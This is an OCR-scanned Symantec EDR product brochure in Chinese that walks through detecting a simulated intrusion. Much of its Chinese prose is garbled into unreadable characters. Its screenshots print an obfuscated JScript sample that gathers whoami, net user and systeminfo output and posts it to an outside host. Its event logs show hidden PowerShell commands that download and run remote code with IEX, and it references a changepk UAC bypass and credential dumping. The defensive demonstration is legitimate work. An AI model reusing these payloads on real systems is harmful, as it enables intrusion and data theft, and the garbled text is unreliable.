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ZiB PowerShell BY{EA « REFREN « ERINREUERIZED

WEENSAMEESERE - HEE DR KBRS « #lIlt > WBEERAEER
B~ 2R EMRENEN 0 BEUESE « INRBIER > TEREBHE
AEER PRy ELAthaf o

| BEE | 1



v Symantec.

by Broadcom

BB FERSE 2 PEEER TETEE i SR B YA AU FA F LA PR Ef

WENRBENIAZ— AR S A M B T Ay — » AR E IS 1T B 24T T LU

) e EE BT R B o WRESHER A ANELAG AT S TR (NAEE

@) sty o BESRSSO I IRARSE MR ERES) AIBRIEEE) o BRI R A IR

& < HEEATE o EUBEMSIINT | BRI E S EE L B SRR AR
ERISEESEEER ) SRDESEAAE  FeRNHSRARETE
17 o

B AifE TEEREFRE BOR > FE TEEER TEEURA BE2 B -
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‘-@ Default Adaptive Protection Policy
= POLICY NAME
4 Adaptive Protection
VERSION POLICY TYPE
System
CREATED BY
Details

Trusted Applications

General Settings L)

‘: Auto Tune

Schedules a task to set zero prevalence behaviors to Deny automatically. You can review, customize, or snooze the task on the Tasks page
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a
& o
IZ}Z} Acrobat

(E} Acrobat Reader

({r:} AddInProcess

(~) AdFind

(~) Any Process

(v) atexe

(~) Bitsadmin

(%) Browser

(%) Certutil

(%) cmd.exe

(%) cmsTp

(%) Cscript

() curl

(%) Esentutl

B PowerShell &6 - PowerShell 2—FGEANEET R » #FERTEESH
BHVFRA R - WBERNIEE > RHFA PowerShell RSEMIEENEES
EE) o BEEEESIS2BMEMA PowerShell MFERRT > EMMELEHME
T2 PowerShell 1775 > B AFFIERNERIFEREERF
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R S s e LUT 52 PowerShell E AT AR RIBHA) o

FI KR AP LE B E HE b
EJ#IJ Ig_iﬁ"ﬂl‘: A<JTH (~) PowerShell
ﬁ (o d iy
I [=] I ;E:‘ék EgE I% I APPLICATION BEHAVIOR MITRE PREVALENCE ~ ACTION
TECHNIQUE
eIz - =

ATE PowerShell injecting into T1059.001 . i R o
svchost.exe {+ 3 more) Learning : o n
PowerShell launching Java T1053.001 ¢ B oa
applications {+ 1 more) Learning : ik

- T1059.001 B
PowerShell launching iKernel {+1 mare) @ Learning Allo
PowerShell accessing network T1059.001 * R R D
via HTTP(s) {+1 more) Learning o S b
PowerShell creating or
o T1059.001 . .

mc:u.dlfylng PowerShell profile (+ 1 more) # Learning Allo onito Deny
script
PowerShell creating PE T1059.001 * R R D
executable {+1 mare) Learning o o S
PowerShell launching with T1053.001 * B B
encoded command {+ 1 more) Learning o o b
PowerShell launching Windows T1055.001 * R B De
Scripting Host {WScript) {+ 1 more) Learning N g 5}
PowerShell launching Windows ~ T1059.001 ¢ . o
Met utility (net.exe) {+ 1 more) Learnigg B o ik
PowerShell launching Microsoft ~ T1059.001 Py . . [— D
HTML Host (+1 more) Learnigq e Sl b
PowerShell injecting running T1059.001 R R -
processes {+ 1 more) * Lesgning —  i— D=
PowerShell launching under a T1036 * N - o
different process name {(+ 1 more) Learning — - - ik

TERIFERT » BEEEKS S BB LR S T RENEE LER
12 o IR FENEE N GT  BRIESIEE TS o

£ LMW ERRAI » ZAEBAEIEREFREEA JavaScript > FEILIEITAMAET ©
#AM > JavaScript BEREAITIRAERAISERE) PowerShell » EILELERIFE
WEBRE o ILBERFITIFERFEIRA —RBETEBREAEIZINE
RidtyEiEl — MERERHERETAES » HUEIEREENBABRERM
BYRTAE ©

2R BERERERS - SESCHAIRBKNBRBRERNER

TIME DESCRIPTION DISPOSITION PARENT CMD LINE PROCESS COMMAND LINE

Now 14, 2022, 2:09:11 PM  windows Scripting Host (WScript) launching PowerShell (actor: ... 1-Process Detection - Blocked "C\Windows\System32\wscript.exe" jkhert..  PowerShell -windowstyle hidden -NoProfile -...
Novw 14,2022, 2:09:10 PM  PowerShell accessing network via HTTP(s) (actor: PowerShell) (ta..  1-Process Detection - Blocked "C\Windows\System32\wscript.exe" jkhert..  PowerShell -windowstyle hidden -NoProfile -...
Nov 14, 2022, 2:09:06 PM  windows Scripting Host [WScript) launching Windows Net utility ...  1-Process Detection - Blocked "C\Windows\System32\wscript.exe” jkhert..  netuser
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BIEER (22 SES Complete RERIFKMPN—IR > EELZEMEBLERA - HFIAE « FEBARNE « REEZH - &
MESHRE  SCIEREREMER » (SEFTE  EMREHSERE « RN - SERBEITABREMRENEREER LR - EXLE
BREHFU TAREFRESR) EREIASAMERER  RMNREHERZE2EZMBIRG - BIREE > RSH0ERE
PRESHIE  ARETHNNE » WEFEHINBEEENEZRIRNER -

MAGREAE T ERBIEXPIRR - A > RENZERBERFERERIRREERETRIMEARS —EHERN
By > REBREZIEFR o

B BEEREREF L RESHNEHZ (B — T4 - BT—F -BT—F - @ms > SES Complete ZFA
AR BhERRR S 2 » ERHIREZEE VTSI o IEAWILL » SES Complete?8ESE LabshiAZ2023FEREDRER
BhRARESR (B Rhttps://selabs.uk/wp-content/uploads/2023/02/annual-report-2023.pdf 55188) » W 2022 &S AV-
TESTR{EMELR (RIERIEHEE ; KR https://www.av-test.org/en/news/av-test-award-2022-tested-and-award-
winning-security/) > 1584 THEETENIHETER  EBERFIEKE, -

BB EFERFFI N H RN (BREPERLHHER) - #ERESRNENEFAIRERIREE -

> Nov 16, 2022, 3:35:31 PM PowerShell created a suspicious PE executable 1-Process Detection - Blocked ~ "C:\Windows\system32\ChangePk.exe” "PowerShell.exe"” -windowstyle hidden -exec bypass -C "IEX (New.
> Nov 16, 2022, 3:35:34 PM windows Scripting Host (WScript) launched sc.exe 1-Process Detection - Blocked  "PowerShell.exe” -windowstyle hidden -exec by... "C:\Windows\system32\sc.exe” query

> Nov 16,2022, 3:35:34 PM PowerShell executing Windows Service Control utility (sc.exe) (actor...  1-Process Detection - Blocked 'PowerShell.exe” -windowstyle hidden -exec by... "C\Windows\system32\sc.exe™ query

> Nov 16, 2022, 3:35:35 PM Windows Scripting Host {WScript) launching Windows Net utility (n. 1-Process Detection - Blocked  "PowerShell.exe” -windowstyle hidden -exec by... "C\Windows\system32\net.exe” share

> Nov 16, 2022, 3:35:36 PM PowerShell launching Windows Net utility (net.exe) (actor: Powersh...  1-Process Detection - Blocked  "PowerShell.exe” -windowstyle hidden -exec by... "C:\Windows\system32\net.exe” share

Bf5%E - BMEEETFRAEL » REMATI T ?

BERBRERRLEZRERRERE - BEFIESCIVREDERBEDIFEZEFR o B TR > FFHRHSES Complete B
BREZERN > RRBRESEMRED RS ERNKERIBIR o ILRFSES CompleteEEERAIREEE) » B GHITIEMEE -
HATRBRTEERETRBEEER - BXATERSEHE | BRI DIIIARWAE > SES Completef N fEL R AL
B2PRER ©

SES Complete @& BEREMFHESBNTEREBREREAEM -

D + DESCRIPTION SEVERITY ENDPOINT COUNT

U;;.j 100062 05 Credential Dumping, OS5 Credential Dumping: LSASS Memory, Scheduled Task/Job, Process Injection detected across 2 devices High 3
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ETHRIAMRREILRNE - 5% FHWMIST 7 WBEER T & TREER MITRE ATT&CK 54l ©

@ Comment e Close @ Configure Rule 0 Deny File ° More Actions /‘ »

C%O 100062 @
. 0OS Credential Dumping, OS Credential Dumping: LSASS Memory, Scheduled Task/Job, Process Injection detected

across 2 devices
® High

High Open Advanced Analytics Jan 17,2023 12:52:12 PM

2 Yes Lateral Movement Jan 17, 2023 12:54:56 PM

16 Jan 17, 2023 01:18:05 PM

Isolate the affected machines to investigate the full dumped recorder data. Update any outdated or unpatched
systems and upgrade the security protection software. Enforce strong authentication and access control through the
whole network.

MITRE ATT&CK {=IEB 2 BRI 7 BB R EABIFRA ATT&CK BT B R MRy ESF B EE o

~ MITRE ATT&CK Detections @
TACTIC(S) TECHNIQUE(S)
@ Enterprise: Initial
X Valid Accounts
D Access
ﬁ Enterprise: Windows Management Instrumentation , Scheduled Task/Job , Command and Scripting Interpreter, Command and Scripting Interpreter: PowerShell, Scripting , Exploitation for Client Execution , User Execution , System
=" Execution Services: Service Execution
v Enterprise: n
ped ,p Scheduled Task/job , Valid Accounts
- Persistence
S Ente ise: Privil
& E;‘c:;:t:: "WIES®  Stheduled Task/job , Process Injection , Valid Accounts , Abuse Elevation Control Mechanism: Bypass User Account Control
w1 Enterprise: Defense Process Injection, Scripting , Indicator Removal on Host: File Deletion , Valid Accounts , File Deletion , Deobfuscate/Decode Files or Information , Signed Binary Proxy Execution , Virtualization/Sandbox Evasion: System Checks ,
~ Evasion Abuse Elevation Control Mechanism: Bypass User Account Control , Subvert Trust Controls
. Enterprise: ) ) ) )
iy : 05 Credential Dumping , 05 Credential Dumping: LSASS Memo
= Credential Access B L £
B Enternrise System Service Discovery , System Network Configuration Discovery , Remote System Discovery , Systemn Owner/User Discovery , System Network Connections Discovery , Pracess Discovery , System Information Discovery ,
P :
® Dism\pmy Account Discovery , Account Discovery: Local Account , Account Discovery: Domain Account , System Time Discovery , Network Share Discovery , Virtualization/Sandbox Evasion: System Checks , Software Discovery: Security
Software Discovery
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EAREBCE—BBEBEANERAR > AN IRKENFAITEAEERMEL o tEEFIR chrome.exe EIEIT wscript.
exe » EMMEBIREERFS - WScript BE&EA whoami ~ net K systeminfo 1§< » MFETLLI4SR R T AN EERINEEZ o
R4#2E1BFAA powershell.exe H1T UAC HEBRAEIBIRIE o

B (WREFFIE wscript.exe FrBviRIF) - BIR]EEZEFHFHMAEN » Al <72 H « EREIRP RTEMN
B4R -

wscript.exe
Victim-1
LT 34008e2057df8B42df210246995385a0441dc1208

1d60ad15bd481e062e7f100

wscript.exe &
"C:\Windows\System32\wscript.exe”
jkhertgbn.js

1568
1-Process Activity - Launched
edradmin
& 3-Medium
) Jan 17, 2023 12:52:15.762 PM

Enterprise Command and Scripting
Execution Interpreter

E— D RIZLHITHEE > 7] R PowerShell i slui.exe » ZiZ B RIENS —Elslui.exe B » 4&MEEN changepk.exe > &
LB REREPowerShell © IHREEAF AWindowsiZE T AEBIRNUACEBILE - ELEMAEZ2M | https://mattharrOey.
medium.com/privilege-escalation-uac-bypass-in-changepk-c40092818d1b o lt3R57E SES Complete FUREZE—@ER
SEBEMBRHNITH PowerShell FRASABIZTR o

=-9128 o ®m powershell.exe
Victim-1

9914d42706fe215501044acd85a32d58aaef1419 I
d404fddfasd3b48febecdaf

. "PowerShell.exe” -windowstyle hidden -exec
L bypass -C "IEX (New-Object
Web ) oadString("https://drive.

11016

1-Process Activity - Launched
@ edradmin

powersnellexe @
(-7 =

Jan 17,2023 12:52:33.396 PM
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E—SRREWARE > 7] RPowerShelllEIwmicis< o 1HE LR —F4I B ERHE S —EPowerShel 2 » ERETERZH)
B84 —wmictE < EEPowerShelliE 3 —&#23 LEE) o 5 ¥R R PowerShel|EAIMEELBEEEAVictim-2 > B8
TEEBERVictim-1#EEZEVictim-2 o

o m powershell.exe

victim-2

97914d42706f2215501044acdB5a32d58aaef1419
d404fddfa5d3b4BfE6ccd9f

[T, powershell -windowstyle hidden -nop -exec
bypass -¢ IEX (New-Object
Net.WebClient).DownloadString("https://drive.
google.com/uc?

& export=downlozdid -] G
I

)
LT 12168

1-Process Activity - Launched

edradmin
T @
@ 5-High
powershell.exe \:‘:
(- T7] Jan 17, 2023 12:53:37.466 PM

EHEHUBAMNERSRNENSEL R - U TERRBHAMENEE | FREREIChromeIE 2312 > Chrome#fT
HTHRREE) > TEERJavaScriptiZzUh5 » BERE@EIwscript.exe T2 2 B2 TUAE ©

TIME DESCRIPTION ATT&CK TECHNIQUE NAME PROCESS COMMAND LINE EVENT TYPE ID DEVICE NAME
> Jan 17, 2023, 12:52:12 PM explorer.exe launched chrome.exe. User Execution "C:\Users\edradmin\AppData\Roaming\Google C. BOD1-Process Activity Victim-1
> Jan 17,2023, 12:52:14 PM Outbound: chrome.exe sent 618 byte...  Application Layer Protoc... + 1 other B8007-Host Network Activity ~ Victim-1
> Jan 17, 2023, 12:52:15 PM An untrusted process launched a sys. Process Injection "CSIDL_PROFILE\appdata\roaming\google chrome. B8027-Process Detection Victim-1
> Jan 17, 2023, 12:52:15 PM Outbound: chrome.exe sent 806 byte...  Application Layer Protoc... + 1 other 8007-Host Network Activity  Victim-
Jan 17, 2023, 12:52:15 PM chrome.exe created javascript[1] Ingress Tool Transfer BO03-File Activity Victim-1
Jan 17, 2023, 12:52:15 PM chrome.exe created jkhertgbn.js. Ingress Tool Transfer B8003-File Activity Victim-1
Jan 17, 2023, 12:52:15 PM chrome.exe launched wscript.exe Command and Scripting... + 1 other "C:\Windows\System32\wscript.exe” jkhertgbn.js 8001-Process Activity Victim-1
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EIESITREAEHAN BB EEEZEER » SES Complete At BENRZREER - RIERNNE
4EELZTEA 5 SES Com- E’\JHﬁﬂZIK o AR EEFHChrome FEITHITHI JavaScript KBS ERERE > B

A s \ERRRETRRE o
plete REBENRELZIB
B RS RN 8 iMoo -0

File Edit Format View Help
¢ o wvar _Bx1673b3=_@x57d8; (function(_@x43fBeB, Bxdc8aal){var _Bx28eblb=_Bx57d8, Bx439117=_Bx43fBed();while A
(D {try{var _Bx245d5b=parselnt(_Bx2Beblb(Bx153))/8x1*(parselnt(_B8x28eblb(Bx15e))/@x2)+parselnt
(_Bx20eblb(Bx154))/8x3%(parselnt(_Bx28eblb(Bx158))/0x4)+parselnt(_B8x20eblb(Bx151))/Bx5+parselnt
(_Bx20eblb(Bx163))/8x6+-parselnt(_Bx28eblb(B8x157))/0x7+-parselnt(_B8x20eblb(@x15b))/Bx8*( -parselnt
(_Bx28eblb(Bx16e))/8x9)+-parselnt(_Bx2Beblb(Bx169))/Bxa;if(_8x245d5b===_8xdcB8aal)break;else _Ox439117
["push1(_8x439117[ "shift*]());}catch( 8x29967b){ Bx439117[ push’]( Bx439117[ 'shift'1());}}}
(_Bx47a2,8xabccl) ) ;var oShell=WScript[ 8x1673b3(8x168)](_8x1673b3(@x14d)),striAppData=0Shell
[*SpecialFolders” ](_Bx1673b3(Bx161)),0FileSystem=WScript[_ Bx1673b3(8x168)](_Bx1673b3
(Bx159) ), strFileName=straAppData+'\x5ctest.tmp’ ;oFileSystem[_@x1673b3(8x16b)](strFileName)&&oFileSystem
[_Bx1673b3(Bx15a) ](strFileName);var oFile=oFileSystem[ 8x1673b3(Bx166)](strFileName,!!
[1),0Exechhoami=oShell[ 8x1673b3(8x15F)](_8x1673b3(0x164)),strOutputihoami=oExeckhoami[ ' StdOut "]
["ReadAll’ ]();oFile[ @x1673b3(8x178)](_0x1673b3(8x16c)),oFile[ Bx1673b3(8x178)](strOutputWhoami);var
oExecNetUser=oShell[ @x1673b3(0x15F)](_8x1673b3(0x158)), strOutputNetUser=oExecNetUser[_@x1673b3(Bx14e)]
["Readall’ ]();oFile[ @x1673b3(8x178)](_0x1673b3(8x167)),0File[ Bx1673b3(8x178)](strOutputletUser);var
strErriletUser=oExecletUser[ ' StdErr® ][_Bx1673b3(Bx15c)]();oFile[_Bx1673b3(8x178)](_Bx1673b3(Bx171)),0File
[_Bx1673b3(Bx17@) ] (strErrNetUser);var oExecSystemInfo=oShell[ Exec'](_Bx1673b3
(Bx16¥)), strOutputSystemInfo=oExecSystemInfo[_Bx1673b3(8x14e) ][ _Bx1673b3(Bx15c)]();oFile[ @x1673b3
(Bx178) ](_Bx1673b3(8x152) ) ,0File[ Bx1673b3(8x178)](strOutputSystemInfo);var
strErrSystemInfo=oExecSystemInfo[_ 8x1673b3(Bx156) ][ _B8x1673b3(Bx15c)]();oFile[ 8x1673b3(0x178)](_8x1673b3
(Bx14c)),oFile[ "WriteLine" ]{strErrSystemInfo);var xmlHttp=WScript[_Bx1673b3(8x168)](_Bx1673b3
(Bx162) ) ;xmlHttp[_ B8x1673b3(8x15d)](_8x1673b3(Bx16a), "https://httpbin.org/anything’,![]),xmlHttp
[_Bx1673b3(Bx155) ]( "Content-Type', Bx1673b3(Bx168));var iFile=oFileSystem[ 8x1673b3(@x16d)]
(strFileName,B8x1),data=iFile[ @x1673b3(8x15c)]();xmlHttp[ send’](data);var oExecPS=oShell[ Bx1673b3 o

Ln1, Col1 100%  Windows (CRLF) UTF-8

PR » BPIH e ImRs (R B2 O R (SEDR) SRCHRENA > BEZRNANE
REFAR - ENMESHNHEAEHNT RTEHE— WA ETRZEY
EEMNRAEANER WTEFR) - JtthJﬁEjthEﬁ%1 ER iz - BBRERRI A
EBEEREARERNITHES) -

IHost CreateObject{"WcriptShell')
TR e IWshShell3.SpecialFolde
t.CreateObject(" Script

tem3| FIEEX\SI

leSystemObject™);

dmir\AppData\Reaming\test tmp");

dradmin'AppData\Roaming\test.tmp"); stry Value Activity
s\edradmin\AppDataiRoaming\testtmp’, “true’);

wscript.exe deleted HKEY_USERS\S-1... —

VshShell3.Exec("whoami.exe");
StdOut();
wscript.exe created test.tmp. — [TextStream.| PeadAI 0 activity

stry Value Activity

wscript.exe set HKEY_USERS\S-1-5-21...

windows Scripting Host (WScript) lau.. - ess Detection

PowerShell accessing network via HT..  -— ess Detection

Administrator edradmin

Guest
IWshExec.StdErr();

wscript.exe launched powershell.exe. - MextStream.Read All() ess Activity
[TextStrear
[TextStrear

IWshShell3.Exec...
AMSI event detected for wscript.exe IHost.CreateObject("WScript.Shell); (1&g Victim-1 BOTE-AMEI Activity

Outbound: wscript.exe sent 350 byte... - Victim-1 8007-Host Network Activity
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SES COMPLETE &t BEEFESEE ?SES Complete2HiMmEEAER !

EHIFEANER S SES Complete BUEEFEANELE - SESRMSRELKBESM
s o SEBBESRAEA 1 GRBIEE - EREEEANEEE « BHMILEANE

F > SES Complete EEH RN TERMIRFEFRBER ©

BEBIHMNENEERR - RUENFEENENRFFEZRERES » IHERHE
R INFE - HEFEHARERIRE - WEEFEFRERHAA

BrftnsHE BB ERRIERAME

1. SERLREHE > SES Complete BEERBIFELIKLAASESE © 1%
ECEHBFA B RHRrERCE - BT AIEUSPIABRIEENER > 1M
ENERERE o

2 EEBBREERANE - RN R R -
LR QTR © WA AR 7

E I
TR DLL#A

FARIEEED RS - (B

SR AHITE RIS EBRRAZ B AE1E
RIRYEE

MRS EEE RS EENEFB

S ERERASAVERIL ~ R RIRR

EEREREEERT - BEIESAERIRHRATRERFUE - BERA HHEMEA
B AR EERMSETERIERE °

ImRG RPN E
SES Complete sBIEEIERIREE LEFHNEMNE -

Endpoint Activity Recorder Configuration @ Also supports ) [

Configure the global pelicy for Symantec Endpoint Security managed clients.

Database Size 5] GB
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5L R EEES » EREBEIRENER R EREE - AT BTN o
SES Complete ZiE
ﬁ*ﬁﬁl%ﬁﬁu?ﬁ II:I:II Fﬁﬁ Add Endpoint Activity Recorder Rule <

5&%% o Create a rule to exclude processes from the Endpoint Activity Recorder. This rule applies to all managed
endpoints.

BEfe RAIGEIELFRE S

SOEREE) o A EER S

HEERT o SRFAAEHERE o

ﬁ%ﬂf#!ﬁﬁ?ﬁ%ﬁﬁ ° | Host Netwark Activity o)

Actor Type
@ sha2ss

() File path

Actor
Enter actor SHA2.

Actor Command Line

Enter actor command line. Supports wildcard and regex.

Operation
All v

Target Type
. Destination IP
() URL

Target

Crtar Aartinatinm TN Commmete il deard amd vnmaee

Cancel

EEEREENFREFECHMLESMRE (FIUREF -~ B85 - ERIENME
B) o UKRBEHHREUE -

HITIREARHRER - RELBREEREFEE

ERSHMEN > BT TRE REE > BE TRk - 2ARERT NEkiE
=] %t - HAMBEAERESEE !

- InEt R BRCH AR R R IR E R EREBERE o

- BARRE-SARMNENRE  SERER > fINESR - EREEREN
EEHITHRER °
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HAEIESERE=EE

Endpoint Search

Search Type
@ Endpoint Activity Recorder

Evidence of Compromise

Search Description* @

Looking for C&C traffic across 2 Groups of [ndpoints

Time Range @
Last 24 Hours

Target @

Specify one of evice Groups or both to trigger search

2 Groups & 0 Device selected

Filter by

DESTNATIONT® 198511002 OR  DESTNATIONT  19851.100.17

ESTNATIONT?  106.75.140.7

FetElEIT%18

BUMBRAE R

IR EE B R (FE - IR
SRz - IQ\TEEL%%“BQH HERBEBNEHNEN > HELEE—

manE i EEERR

e

mA IR
552

ETFANEEEET > IR T —(ERIER Google Chrome BYRIREIEZEE o FfISE

FErE X IEIERRChrome » AAZIERKEEE « EHIRER/ D 8un
IR o 5555842 TMore Actions) » 18E
BRI TR RN R I

253 TProcess Dump
BBk B o

B HR®E
> BIATENIS

o Add to App Contral Policy @ Make Trusted Updater @ Send to VirusTotal ° More Actions ¥

Process Dump

D chrome.exe Add to Allow List
FILE NAME .
Add to Deny List
Low 2 or more weeks ago 1 Unsigned Submit To Sandbox
RISK FIRST SEEN ON DEVICES SEEN ON SIGNER
Quarantine File
1 Hide
INTENSITY LEVEL
Get File
Details Devices Policies Activity History

S X

Security Summary @

Intensity Level

Last Seen On

Global Prevalence

Global First Seen

Historical Reputation

1
Blocks or logs known malware and known bad files.

Dec 5, 2022, 10:30:37 PM

Very Few Users
This Tile has been seen by fewer than 5 Symantec users.

Very New

Symantec has known about this file approximately 2 days

Unproven

There is not enough information about this file to recommend it
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v Symantec.

by Broadcom

a2 I SR AR iR = _HEHEIFTE IR BT SEN » SRAUZIRES  JF MMore Actions)
EHIAREEV AR E | » R&EEE TFull Dumpy ©

ﬁ iﬂ 1? :F E"J *E r.- > HE @ - to Device Group () Delete Device (@) run tiveupdate @) scan Now (@) wore Actions o
% - FRREVMARRESR . @ cocrenore oo o

E eutce name @ restant
ﬂz‘li.l Eg EI: %*Er‘- s * IIE*E Quarantine Device

® At Risk Aggressive Device Group 0
; I ﬁm %/g¥ ﬁ DEVICE STATE DEVICE GROUP FILES AT RIS @ Start Live Shell Session
o
11/24/2022, 1:20:45 PM windows 10 Professional Edition 10.0.1... @ Full Dump
w < o LAST UPDATED 05 veRsion
=:| E E @ Capture Forensic Data
Details

ERWTHEERFERRERER  EUEG8NE HE) RERIEE i
EJJ-'U ngn\ﬂ% °

Endpoint
(-]
Filter by @ Status
Select your query from below Quick Fier or Enter Results (Showing 1to 10f 1) e Endpoint Search | 50F5 Columns Selected v
query.
SEARCH DESCRIPTION SEARCH STATUS STARTED BY DATE TYPE
P o)
:-“’ chrome.exe on Victim-1 - Process dump request ™) icdm_ver637badce Dec 5, 2022, 10:55:45 PM Process Dump

Operators

() aw or

Quick Filters

What would you like to filter?

> Status

> Type

@
Q
i}
=
O]
[u
&
v}
L1

EIEEGEE > ARRIREZRMIEFRITHNFHMEEEE - LENEFEERETROISRAN chrome.exe HMITUTR
E 3B CRCBRE ~ B =R JavaScript F22088 » WHITEZE = JavaScript ©

> Nov 28, 2022, 7:14:25PM  chrome.exe established connection from 172.28.48.7:51488 to 108.177.98.132:443. Victim-1 8007-Host Network Activity -

> Nov 28, 2022, 7:14:25 PM I Outbound: chrome.exe sent 806 bytes to 108.177.98.132:443 and received 23418 bytes from 172.28... I Vietim-1  8007-Host Network Activity .

> Nov 28,2022, 7:14:25FM  chrome.exe established connection from 172.28.48.7:51484 to 199.36.153.11:80. Vietim-1 8007-Host Network Activity -

> Nov 28, 2022, 7:14:25 PM Ith‘:.mg,exe created jkhertgbn js. I victim-1  BOO3-File Activity

> Nov 28,2022, 7:14:25 PM  chrome.exe opened cversions.1.db. Victim-1  B003-File Activity

> Nov 28, 2022, 7:14:25PM  chrome.exe opened {afbf3f1a-EeeB-4c77-af34-c647e37ca0d%}.1.ver0x0000000000000011.db. Victim-1 BOO3-File Activity

> Nov 28, 2022, 7:14:25 PM I chrome.exe launched wscript.exe, I Victim-1 8001-Process Activity "C:\Windows\System32\wscript.exe” jkhertghn js

RSN AERATREFTREFEFHL BEeIHHBIEEHMURERL - EAEN GRERMERKENERE
H o BERITHNRER RS - FRMIAARER/AKEEIE - HIRIRH - FRE/BFHEEAFAELEE - ¥1552Mhttps://
techdocs.broadcom.com/us/en/symantec-security-software/endpoint-security-and-management/endpoint-security/
sescloud/Endpoint-Detection-and-Response/EDR-Actions/Collecting-forensic-data.html o FFIFEHIEKLEER > F
MAEIRELACTRE B TEIEE o
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v Symantec.

by Broadcom

ERENEAE N AR » BEIEIRY 0 T More Actions) » #A% %842 [Capture Forensic Datal ©

e Add to Device Group @ Delete Device 9 Run LiveUpdate @ Scan Now ° More Actions /‘ X

@ Collect Remote Diagnostic Logs

Victim-1
E DEVICE NAME @ Restart
Quarantine Device
® Compromised Default 0
DEVICE STATE DE SROUP FILES AT RISK @ start Live Shell Session

12/5/2022, 11:15:55 PM
LAST UPDATED

Windows 10 Professional Edition 10.0.1...
05 VERSION

@ Full Dump

@ Capture Forensic Data

MEAR T B HEFET - R RERERE > FEE [5AE) BBRNE TRk -
Endpoint
Filter by @ Status @
Select your query from below Quick filcer or Enter Results (Showing 1to 2 0f 2) e Endpoint search | 50f5 Columns Selected v
" SEARCH DESCRIPTION SEARCH STATUS STARTED BY DATE 4 TYPE

@, victim-1 - Capture forensic data request © icdm_ver637badce Dec 35,2022, 11:11:20 PM Capture Forensic Data

Operators

#F  chrome.exe on Victim-1 - Process dump request  (2) icdm_ver637badce Dec 5, 2022, 10:55:45 PM Process Dump

B ERERTIRE B ERIAREE o

> Decs, 2022, 117401 PM Established connection between 0.0.0.0:9182 and 0.0.0.0:0 for PID/Process 3580/ windows_exparter.exe Victim-1 BOB7-Network Query
Decs, 2022, 11:14:01 PM Established connection between 0.0.0.0:135 and 0.0.0.0:0 for PID/Process 380/svchost.exe Victim-1 BOB7-Network Query
Dec 5, 2022, 11:14:11 PM Established connection between 0.0.0.0:5357 and 0.0.0.0:0 for PID/Process 4/System Vietim-1 BOB7-Network Query

Dac5, 2022, 11:14:09 PM launched svchost.exe under NT AUTHORITY\SYSTEM user context, the activity is safe with a malicious score of 54. Victim-1 B081-Process Query

Dec5, 2022, 11:14:09 PM launched fontdrvhost.exe under Font Driver Host\UMFD-0 user context, the activity is safe with a malicious score ... Victim-1 8081-Process Query

Dec 5, 2022, 11:14:09 PM launched svchost.exe under NT AUTHORITY\SYSTEM user context, the activity is safe with a malicious score of 54. Victim-1 B0B1-Process Query

Dec 5, 2022, 11:14:09 PM launched svchost.exe under NT AUTHORITY\LOCAL SERVICE user context, the activity is safe with a malicious scor...  Victim-1 BOE1-Process Query

Decs, 2022, 11:14:09 PM launched svchost.exe under NT AUTHORITY\LOCAL SERVICE user context, the activity is safe with a malicious scor...  Victim-1 B081-Process Query

BB 3 ECCMAMRSSAVER » BTREBINEER IR L o

Established connection between 172.28.48.7:52756 and 52.1.93.201:443 for PID/Process 9712/powershell.exe Victim-1 B087-Metwork Query

| BEE | 14



SES COMPLETEBZfi#
B i@ E RZAIMETA-
DATA > B1EHEE(E ~ 18
EZXN MEFEHM -

EimBhULEIESE

SES Complete BIRHFTBIEZERNMETADATA » BISHEE « BEA/N  IBESE

B o AWHBIOW > TRAIEBU T E—A A REEE 2R

LATE T8 T > BREGHEERNIRE - 3R MEXR) 1288 > ENEE
FEZE®% > T TGetFile) #&i8 -

v Symantec.

by Broadcom

Bl

Unknown
RISK

Details

° Add to App Control Policy @ Make Trusted Updater @ Send to VirusTotal ° More Actions ¥

nc.exe
FILE NAME

Less than two days 1
ago DEVICES SEEN ON
FIRST SEEN ON

1
INTENSITY LEVEL

Devices Policies

CA
SIGNER Quarantine File
Hide
Get File
Activity History

7 X

Process Dump
Add to Allow List
Add to Deny List

GlohalSign ObjectSign Submit To Sandbox

Intensity Level

Last Seen On

Global Prevalence

Global First Seen

Current Reputation

Security Summary @

1

Blocks or logs known malware and known bad files.
Feb 6, 2023, 10:17:56 AM

Many Users
This file has been seen by tens of thousands of Symantec users.

IMature

Symantec has known about this file for more than 1 year.

Historical Reputation Malicious

This file is untrustworthy.

IMalicious

This file is untrustworthy.

2 ANERASEFRBRYEE) - WIEEFE TGetFiles o

@ Scan Mow e Quarantine Device @ Full Dump @ Process Dump ° Maore Actions ¥

cmd.exe launched nc.exe.

@ DESCRIPTION

I-Informational 8001-Process Activity

SEVERITY
EVENT TYPE ID
edradmin
USER
Default
DEVICE GROUP

Natailc

@ Capture Forensic

Data

@ Submit to

Sandbox

5-System Activity Send to
CATEGORY VirusTotal

Ie Get File
1-Process Activity

DISPOSITION Quarantine File

Default Detection Start Live Shell
and Response Session

Palicy )
@ Allow File
POLICY NAME

0 Deny File
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by Broadcom

]

BHNIFAAITIER > FRHABESIRZERNSEMH > BEXRTERET
FEndpoint Searchy °

m

BRERELAAN=EEER > LEE

!

v Jan 17,2023, 12:52:15 PM chrome.exe created jkhertgbn,js. Victim-1 8003-File Activity
Scan Now
oy
File Info Quaranting
Device
File Name jkhertgbn.js Full Dump
I File Path ci\users\edradmin\appdata\roaming\google chrome\jkhertgbn.js I Process Dump
File Normalized Path CSIDL_PROFILE\appdata\roaming\google chrome\jkhertgbn.js Capture Forensic
Data
File Size (Bytes) 3622
Submit to
File Type 1-File Sandbox
File Attribute Ids 6-Normal Send to VirusTotal
File Security Descriptor 0:5-1-5-21-3625167640-1369257362-465162450-1003G:S-1-5-21-3625167640-1369257362-465 162450-513D:(A;; FA; SY)A;; FAT; BA) (A7 FA;;S-1-5-21-3625167640-1369257362-465162450-1003) Gt File
B n . Quarantine File
> Jan 17, 2023, 12:52:15 PM chrome.exe launch ript.exe victim-1 8001-Process Activity
Start Live Shell
. . § . Session
> Jan 17, 2023, 12:52:16 PM wscript.exe opened jkhertgbn Js. victim-1 8003-File Activity
Allow File
> Jan 17,2023, 12:52:16 PM wscript.exe opened {afbfof1a-Bee8-4c77-af34-c647e37ca0d...  Victim-1 8003-File Activity )
Deny File
> Jan 17,2023, 12:52:16 PM wscript.exe opened cversions.1.db victim-1 8003-File Activity

B1E TABEER > BAESHEM > i (Filter by) & A TFilePath:) - B EBIEEERNTERE » HEWELGTAN
[Search) 1%if o

0 Endpoint z P B @ AnalyticsRedLe
o
Filter by @ Status
Select your query fram below Quit Results (Showing 1to 1 of 1) e Endpoint Search | 59F5 Colur
query.
SEARCH DESCRIPTION SEARCH STATUS STARTED BY DATE & TYPE
